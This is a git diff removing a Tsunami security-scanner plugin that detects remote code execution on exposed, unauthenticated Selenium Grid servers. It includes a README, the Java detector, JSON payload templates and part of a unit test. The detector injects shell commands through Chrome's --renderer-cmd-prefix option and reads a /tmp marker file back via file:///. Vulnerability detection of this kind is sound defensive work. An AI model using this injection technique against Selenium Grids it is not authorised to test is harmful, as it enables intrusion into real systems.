diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/README.md b/doyensec/detectors/selenium_grid_rce_via_exposed_server/README.md deleted file mode 100644 index a2f1ea78f..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/README.md +++ /dev/null @@ -1,64 +0,0 @@ -# Selenium Grid - Remote Code Execution via Chrome webdriver - -This plugin detects RCE in an exposed Selenium Grid service via Chrome -webdriver. - -It makes use --renderer-cmd-prefix parameter of Chrome browser to execute a -command. - -The command provided within this parameter is added before the path to Chrome -binary and its parameters when a new Chrome instance is launched. Because of -this, some commands may not execute properly when the Chrome path/parameters are -appended to the injected command. The plugin uses curl command with '--' at the -end, to make curl treat the remaining parameters as URLs/hostnames rather than -parameters to prevent curl exiting with errors. - -This plugin uses two methods to confirm that an injected command has executed: - -1. If available, it uses - [Tsunami Callback Server](https://github.com/google/tsunami-security-scanner-callback-server), - which helps further validate findings. It executes a payload similar to: - -`curl CALLBACK_URL --` - -1. If the callback server is disabled. The plugin creates a test file on the - target by using --trace option with a uniq test string provided as a - hostname such as: - -`curl --trace /tmp/tsunami-selenium-rce tsunami-selenium-rce-3fd7b7962a51eee2 ---` - -Curl will fail to resolve the hostname and write it into the trace log similar -to: - -``` -== Info: Closing connection 23 -== Info: Could not resolve host: tsunami-selenium-rce-3fd7b7962a51eee2 -== Info: Closing connection 0 -``` - -The RCE test file is then read by requesting the file with browser file:/// -schema such as: - -`file:///tmp/tsunami-selenium-rce` - -The file is then checked for the previously injected detection string, e.g.: - -`tsunami-selenium-rce-3fd7b7962a51eee2` - -to determine if the curl --trace command executed. - -## References - -[Chrome command line switches](https://peter.sh/experiments/chromium-command-line-switches/) -[Tsunami Callback Server](https://github.com/google/tsunami-security-scanner-callback-server) - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/build.gradle b/doyensec/detectors/selenium_grid_rce_via_exposed_server/build.gradle deleted file mode 100644 index 0a2248d25..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/build.gradle +++ /dev/null @@ -1,39 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami example VulnDetector plugin with payload generator.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/settings.gradle b/doyensec/detectors/selenium_grid_rce_via_exposed_server/settings.gradle deleted file mode 100644 index 2db7b79b0..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'selenium_grid_rce_via_exposed_server' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java deleted file mode 100644 index 56c050696..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java +++ /dev/null @@ -1,527 +0,0 @@ -/* - * Copyright 2023 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.selenium; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.io.Resources; -import com.google.gson.JsonObject; -import com.google.gson.JsonPrimitive; -import com.google.gson.JsonSyntaxException; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A Tsunami plugin that detects RCE via exposed Selenium Grid */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "RCEViaExposedSeleniumGridDetector", - version = "0.1", - description = "This plugin detects RCE in Selenium Grid service via Chrome webdriver.", - author = "Dawid Golunski (dawid@doyensec.com)", - bootstrapModule = RCEViaExposedSeleniumGridDetectorBootstrapModule.class) -public final class RCEViaExposedSeleniumGridDetector implements VulnDetector { - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_ID = "RCEViaExposedSeleniumGridDetector"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_TITLE = - "Selenium Grid - Remote Code Execution via Chrome webdriver"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_DESCRIPTION = - "The scanner detected an exposed Selenium Grid service that allows annonymous access." - + " It is possible to connect to Selenium Grid to create a remote Chrome webdriver" - + " with a set of configurations such as --renderer-cmd-prefix which can allow attackers" - + " to inject an arbitrary command that will get executed when a browser is started."; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_RECOMMENDATION = - "Restrict access to the exposed Selenium Grid by adding --username and --password parameters" - + " to selenium-server.jar command line, or within the [router] section in" - + " the Selenium Grid config file (/opt/selenium/config.toml).\n" - + "See: https://www.selenium.dev/documentation/grid/configuration/cli_options/#router"; - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - private final String payloadFormatString; - private final String seleniumUrlPayload; - private final String seleniumSessionSettings; - private static final String SELENIUM_GRID_SERVICE_PATH = "wd/hub"; - private static final String RCE_TEST_FILE_PATH = "/tmp/tsunami-selenium-rce"; - - @VisibleForTesting - static final String RCE_TEST_STRING = - "tsunami-selenium-rce-" + Long.toHexString(Double.doubleToLongBits(Math.random())); - - // Selenium Grid ready state wait timeout. It's set to 310s (~5min) here. - // Default Selenium Grid in uses 300s timeouts so it should be more than this. - private static final int POLLING_RATE = 10000; // 10s - private static final int POLLING_ATTEMPTS = 31; - - // Tsunami scanner relies heavily on Guice framework. So all the utility dependencies of your - // plugin must be injected through the constructor of the detector. Notably, the Payload - // generator is injected this way. - @Inject - RCEViaExposedSeleniumGridDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) - throws IOException { - this.utcClock = checkNotNull(utcClock); - // TODO: setReadTimeout() method is missing in Tsunami HttpClient.java. - // It is needed to avoid false negatives. See TODO(b/145315535) in tsunami-scanner - // Enable the line below once this bug has been fixed. - // this.httpClient = httpClient.modify().setReadTimeout(Duration.ofSeconds(15)).build(); - this.httpClient = httpClient.modify().setConnectTimeout(Duration.ofSeconds(10)).build(); - this.payloadGenerator = checkNotNull(payloadGenerator); - - this.payloadFormatString = - String.format( - Resources.toString( - Resources.getResource(this.getClass(), "payloadFormatString.json"), UTF_8), - "%s"); // Placeholder for the command payload - - this.seleniumSessionSettings = - Resources.toString( - Resources.getResource(this.getClass(), "payloadSessionSettings.json"), UTF_8); - - this.seleniumUrlPayload = - String.format( - Resources.toString( - Resources.getResource(this.getClass(), "payloadSeleniumUrl.json"), UTF_8), - "%s"); // Placeholder for URL - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .build()); - } - - // This is the main entry point of VulnDetector. - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("RCEViaExposedSeleniumGridDetector starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isSeleniumGridExposed) - .filter(this::isServiceVulnerable) - // Build DetectionReport message for vulnerable services. - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - // Ensure Selenium is in ready state and accepts new requests before continuing with RCE - if (!isSeleniumGridReady(networkService)) { - logger.atInfo().log("Selenium Grid is not in ready state"); - return false; - } - - // Check for RCE - logger.atInfo().log("Found exposed Selenium Grid. Checking for RCE via Chrome driver."); - - // Tell the PayloadGenerator what kind of vulnerability we are detecting - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - // Pass in the config to get the actual payload from the generator. - // If the Tsunami callback server is configured, the generator will always try to return a - // callback-enabled payload. - Payload payload = this.payloadGenerator.generate(config); - String commandToInject = payload.getPayload(); - - // Confirm RCE with the callback server if available - if (payload.getPayloadAttributes().getUsesCallbackServer()) { - var unused = executeCommandViaChrome(networkService, commandToInject); - logger.atInfo().log("Confirming Selenium Grid RCE with the callback server"); - return payload.checkIfExecuted(); - } - - // Use an alternative approach if the callback server is not available. - logger.atInfo().log("Callback server disabled. Confirming RCE with an alternative method."); - - // Execute curl command to create a test file in /tmp with a detection string. - // curl will write the string into the trace log as result of a DNS resolution error. - // Example trace log contents: - // == Info: Could not resolve host: tsunami-selenium-rce-executed - commandToInject = String.format("curl --trace %s %s", RCE_TEST_FILE_PATH, RCE_TEST_STRING); - var unused = executeCommandViaChrome(networkService, commandToInject); - - // Check if the RCE test file got created and contains our RCE test string/needle - String rceTestFileContents; - rceTestFileContents = readFileViaSelenium(networkService, RCE_TEST_FILE_PATH); - - if (rceTestFileContents != null && rceTestFileContents.contains(RCE_TEST_STRING)) { - // Vulnerable - logger.atInfo().log( - "RCE Payload executed! File %s exists and contains %s string!", - RCE_TEST_FILE_PATH, RCE_TEST_STRING); - - // Cleanup - // Use curl to truncate the file by reading /dev/null. Using rm would risk removing the - // /usr/bin/chrome file as the injected command gets prepended before path/arguments. - logger.atInfo().log("Cleaning up created RCE test file."); - commandToInject = String.format("curl -o %s file:///dev/null", RCE_TEST_FILE_PATH); - unused = executeCommandViaChrome(networkService, commandToInject); - return true; - - } else { - // Not vulnerable - logger.atInfo().log( - "File %s doesn't exist, or doesn't contain %s string", - RCE_TEST_FILE_PATH, RCE_TEST_STRING); - return false; - } - } - - // Verifies that Selenium Grid is exposed. - // Password-protected Selenium Grid will issue a 401 Unauthorized response with header: - // WWW-Authenticate: Basic realm="selenium-server" - private boolean isSeleniumGridExposed(NetworkService networkService) { - String statusUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + SELENIUM_GRID_SERVICE_PATH - + "/status"; - - try { - HttpResponse response = - httpClient.send(get(statusUri).withEmptyHeaders().build(), networkService); - return (response.status().isSuccess() - && response.bodyString().map(body -> body.contains("Selenium Grid")).orElse(false)); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", statusUri); - } - - return false; - } - - // Ensures Selenium is in ready state and accepts new requests to avoid stuck requests. - // Returns true when ready, or false on timeout or failure - private boolean isSeleniumGridReady(NetworkService networkService) { - boolean seleniumIsReady = false; - String statusUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + SELENIUM_GRID_SERVICE_PATH - + "/status"; - - logger.atInfo().log( - "Waiting for Selenium Grid to enter ready state (timeout is %d s)", - (POLLING_RATE * POLLING_ATTEMPTS / 1000)); - int attempts = 0; - - // Request Selenium Grid ready status until true, or the number of attempts get exhausted - while (true) { - attempts++; - if (attempts > POLLING_ATTEMPTS) { - logger.atWarning().log("Timeout while waiting for Selenium to become ready"); - return false; - } - - try { - HttpResponse response = - httpClient.send(get(statusUri).withEmptyHeaders().build(), networkService); - - if (response.status().isSuccess() && response.bodyJson().isPresent()) { - JsonObject jsonResponse = (JsonObject) response.bodyJson().get(); - JsonObject value = (JsonObject) jsonResponse.get("value"); - JsonPrimitive readyPrimitive = value.getAsJsonPrimitive("ready"); - if (readyPrimitive != null) { - seleniumIsReady = readyPrimitive.getAsBoolean(); - if (seleniumIsReady) { - return true; - } - } - - } else { - logger.atInfo().log("Invalid Selenium Grid response."); - return false; - } - - } catch (JsonSyntaxException | IOException | AssertionError e) { - logger.atWarning().withCause(e).log("Request to target %s failed", statusUri); - return false; - } - - // Sleep - try { - Thread.sleep(POLLING_RATE); - - } catch (InterruptedException e) { - logger.atWarning().log("Failed to wait for Selenium ready state"); - return false; - } - } - } - - // Injects RCE command with --renderer-cmd-prefix Chrome browser parameter. - // This prevents a normal chrome instance startup which should result in a "tab crashed" error. - // Returns true if the injected command caused a tab crash (command likely executed). - private boolean executeCommandViaChrome(NetworkService networkService, String command) { - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + SELENIUM_GRID_SERVICE_PATH - + "/session"; - String reqPayload = String.format(payloadFormatString, command); - boolean hasTabCrashed; - - logger.atInfo().log("Executing command via Selenium: %s", command); - HttpRequest req = - HttpRequest.post(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(reqPayload)) - .build(); - try { - HttpResponse response = httpClient.send(req, networkService); - hasTabCrashed = - (response.bodyString().map(body -> body.contains("tab crashed")).orElse(false)); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", targetUri); - return false; - } - - // Injected command in --renderer-cmd-prefix will prevent Chrome from starting up properly - if (hasTabCrashed) { - logger.atInfo().log("Chrome tab crashed, command likely executed."); - return true; - - } else { - return false; - } - } - - // Reads a file with file:// browser protocol. - // Returns the contents of the file read, or null if not successful / not found. - private String readFileViaSelenium(NetworkService networkService, String filePath) { - // Get Selenium Session ID - logger.atInfo().log("Creating a Selenium Grid session"); - String seleniumSessionId = createSeleniumSession(networkService); - if (seleniumSessionId == null) { - logger.atInfo().log("Failed to create a Selenium Grid session"); - return null; - } - - // Request file to read via file:// protocol - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + SELENIUM_GRID_SERVICE_PATH - + "/session/" - + seleniumSessionId - + "/url"; - String fileUri = "file://" + filePath; - String fileReadPayload = String.format(seleniumUrlPayload, fileUri); - boolean fileRequestSubmitted = false; - - logger.atInfo().log("Requesting %s URI via Selenium Grid", fileUri); - HttpRequest req = - HttpRequest.post(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(fileReadPayload)) - .build(); - try { - HttpResponse response = httpClient.send(req, networkService); - fileRequestSubmitted = response.status().isSuccess(); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", targetUri); - } - - if (!fileRequestSubmitted) { - logger.atInfo().log("Selenium request to the %s URI failed.", fileUri); - var unused = closeSeleniumSession(networkService, seleniumSessionId); - return null; - } - - // Read file contents via Selenium browser source code handler - targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + SELENIUM_GRID_SERVICE_PATH - + "/session/" - + seleniumSessionId - + "/source"; - String fileContents = null; - - req = - HttpRequest.get(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .build(); - - logger.atInfo().log("Attempting to read RCE test file via %s", fileUri); - try { - HttpResponse response = httpClient.send(req, networkService); - - if (response.status().isSuccess() && response.bodyJson().isPresent()) { - JsonObject jsonResponse = (JsonObject) response.bodyJson().get(); - JsonPrimitive value = jsonResponse.getAsJsonPrimitive("value"); - if (value != null) { - fileContents = value.getAsString(); - // Response will contain ERR_FILE_NOT_FOUND if the file:// handler can't find the file - if (fileContents.contains("ERR_FILE_NOT_FOUND")) { - logger.atInfo().log( - "Got ERR_FILE_NOT_FOUND. File %s was not found on the target", filePath); - fileContents = null; - } - - } else { - logger.atInfo().log("Empty value field in JSON body."); - } - - } else { - logger.atInfo().log("Invalid JSON response to source request."); - } - } catch (JsonSyntaxException | IOException | AssertionError e) { - logger.atWarning().withCause(e).log("Request to target %s failed", targetUri); - } - - // Close previously created Selenium session and return the file contents - var unused = closeSeleniumSession(networkService, seleniumSessionId); - return fileContents; - } - - // Opens a Selenium Grid session that is required to submit browser requests. - // Returns session ID string, or null if not successful. - private String createSeleniumSession(NetworkService networkService) { - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + SELENIUM_GRID_SERVICE_PATH - + "/session"; - String seleniumSessionId = null; - - HttpRequest req = - HttpRequest.post(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(seleniumSessionSettings)) - .build(); - - try { - HttpResponse response = httpClient.send(req, networkService); - - if (response.status().isSuccess() && response.bodyJson().isPresent()) { - JsonObject jsonResponse = (JsonObject) response.bodyJson().get(); - JsonObject value = (JsonObject) jsonResponse.get("value"); - JsonPrimitive sessionPrimitive = value.getAsJsonPrimitive("sessionId"); - if (sessionPrimitive != null) { - seleniumSessionId = sessionPrimitive.getAsString(); - logger.atInfo().log("Created a Selenium session with ID: %s.", seleniumSessionId); - return seleniumSessionId; - } else { - logger.atInfo().log("Couldn't obtain Selenium session ID from JSON reply."); - } - - } else { - logger.atInfo().log("Invalid JSON reply. Couldn't establish a Selenium session."); - } - } catch (JsonSyntaxException | IOException | AssertionError e) { - logger.atWarning().withCause(e).log("Request to target %s failed", targetUri); - } - - return null; - } - - // Close session. Returns true if successful - private boolean closeSeleniumSession(NetworkService networkService, String seleniumSessionId) { - logger.atInfo().log("Closing Selenium Session %s", seleniumSessionId); - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + SELENIUM_GRID_SERVICE_PATH - + "/session/" - + seleniumSessionId; - HttpRequest req = - HttpRequest.delete(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .build(); - try { - HttpResponse response = httpClient.send(req, networkService); - if (!response.status().isSuccess()) { - logger.atInfo().log("Failed to close Selenium Grid session %s", seleniumSessionId); - return false; - } - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", targetUri); - return false; - } - - return true; - } - - // This builds the DetectionReport message for a specific vulnerable network service. - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorBootstrapModule.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorBootstrapModule.java deleted file mode 100644 index 7ab583a16..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorBootstrapModule.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2023 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.selenium; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** An example Guice module that bootstraps the {@link RCEViaExposedSeleniumGridDetector}. */ -public final class RCEViaExposedSeleniumGridDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - // Tsunami relies heavily on Guice (https://github.com/google/guice). All Guice bindings for - // your plugin should be implemented here. - - // registerPlugin method is required in order for the Tsunami scanner to identify your plugin. - registerPlugin(RCEViaExposedSeleniumGridDetector.class); - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadFormatString.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadFormatString.json deleted file mode 100644 index 0dc0767c5..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadFormatString.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "capabilities": { - "firstMatch": [ - {} - ], - "alwaysMatch": { - "browserName": "chrome", - "pageLoadStrategy": "normal", - "platformName": "linux", - "cloud:options": { - "build": "RCE", - "name": "RCE" - }, - "goog:chromeOptions": { - "extensions": [], - "args": [ - "--no-sandbox", - "--renderer-cmd-prefix=%s --" - ] - } - } - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSeleniumUrl.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSeleniumUrl.json deleted file mode 100644 index d300fe6a6..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSeleniumUrl.json +++ /dev/null @@ -1 +0,0 @@ -{"url": "%s"} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSessionSettings.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSessionSettings.json deleted file mode 100644 index ecf556241..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSessionSettings.json +++ /dev/null @@ -1 +0,0 @@ -{"capabilities": {"firstMatch": [{}], "alwaysMatch": {"browserName": "chrome", "pageLoadStrategy": "normal", "platformName": "linux", "goog:chromeOptions": {"extensions": [], "args": []}}}} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithCallbackServerTest.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithCallbackServerTest.java deleted file mode 100644 index cf3600997..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithCallbackServerTest.java +++ /dev/null @@ -1,169 +0,0 @@ -/* - * Copyright 2023 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.selenium; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.io.Resources; -import com.google.inject.Guice; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link RCEViaExposedSeleniumGridDetector}. */ -@RunWith(JUnit4.class) -public final class RCEViaExposedSeleniumGridDetectorWithCallbackServerTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject private RCEViaExposedSeleniumGridDetector detector; - - private MockWebServer mockSeleniumGridService; - private MockWebServer mockCallbackServer; - private final String validRCEResponse; - private final String validStatusResponse; - - public RCEViaExposedSeleniumGridDetectorWithCallbackServerTest() throws IOException { - this.validRCEResponse = - Resources.toString(Resources.getResource(this.getClass(), "validRCEResponse.json"), UTF_8); - this.validStatusResponse = - Resources.toString( - Resources.getResource(this.getClass(), "validStatusResponse.json"), UTF_8); - } - - @Before - public void setUp() throws IOException { - - mockSeleniumGridService = new MockWebServer(); - mockCallbackServer = new MockWebServer(); - mockSeleniumGridService.start(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), - new RCEViaExposedSeleniumGridDetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockCallbackServer.shutdown(); - mockSeleniumGridService.shutdown(); - } - - @Test - public void detect_whenVulnerable_reportsVulnerability() - throws IOException, InterruptedException { - NetworkService service = TestHelper.createSeleniumGridService(mockSeleniumGridService); - TargetInfo target = - TestHelper.buildTargetInfo(forHostname(mockSeleniumGridService.getHostName())); - - // Enqueue Selenium Grid /status endpoint response for Selenium exposure test request - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(validStatusResponse)); - - // Enqueue Selenium Grid /status endpoint response for ready state check - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(validStatusResponse)); - - // Enqueue Selenium Grid response to RCE request (should contain "tab crashed") - mockSeleniumGridService.enqueue( - new MockResponse() - .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) - .setBody(validRCEResponse)); - - 